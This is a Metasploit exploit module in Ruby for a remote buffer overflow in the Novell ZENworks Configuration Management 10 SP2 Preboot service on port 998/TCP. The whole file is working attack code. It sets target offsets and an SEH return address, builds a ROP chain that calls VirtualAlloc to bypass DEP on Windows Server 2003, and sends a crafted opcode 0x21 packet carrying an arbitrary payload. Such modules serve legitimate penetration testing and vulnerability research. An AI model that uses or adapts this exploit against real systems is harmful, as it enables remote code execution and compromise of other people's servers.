##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',
      'Description'    => %q{
          This module exploits a remote buffer overflow in the ZENworks Configuration
        Management 10 SP2. The vulnerability exists in the Preboot service and can be
        triggered by sending a specially crafted packet with the opcode 0x21
        (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on
        Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
        (DEP bypass).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stephen Fewer', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '65361' ],
          [ 'BID', '40486' ],
          [ 'ZDI', '10-090' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'BadChars' => "",
          'Space'=> 8138,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
        },
      'Platform'       => ['win'],
      'Targets'        =>
        [
          [ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
            {
              'Offset'            => 8252,
              'OffsetBottomStack' => 8288,
              'OffsetRop'         => 44,
              'Ret'               => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 30 2010',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(998)])
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def nop
    return make_nops(4).unpack("V").first
  end

  # rop chain generated with mona.py
  def create_rop_chain()
    rop_gadgets =
      [
        0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
        0x00001000, # 0x00001000-> edx
        0x10062113, # POP ECX # RETN [zenimgweb.dll]
        0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
        0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        junk,       # Filler (compensate)
        0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
        0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
        0x10043053, # & push esp #  ret  [zenimgweb.dll]
        0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
        0x00000001, # 0x00000001-> ebx
        0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
        0x00000040, # 0x00000040-> ecx
        0x1003173e, # POP EDI # RETN [zenimgweb.dll]
        0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
        0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
        nop,
        0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
    ].pack("V*")

    return rop_gadgets
  end


  def exploit
    connect

    buf = rand_text(target['OffsetRop'])
    buf << create_rop_chain
    buf << payload.encoded
    buf << rand_text(target['Offset'] - buf.length)
    buf << generate_seh_record(target.ret)
    buf << rand_text(target['OffsetBottomStack'] - buf.length)

    packet =  [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE
    packet << [buf.length].pack("N") # Length
    packet << buf # Value
    sock.put(packet)

    disconnect
  end
end
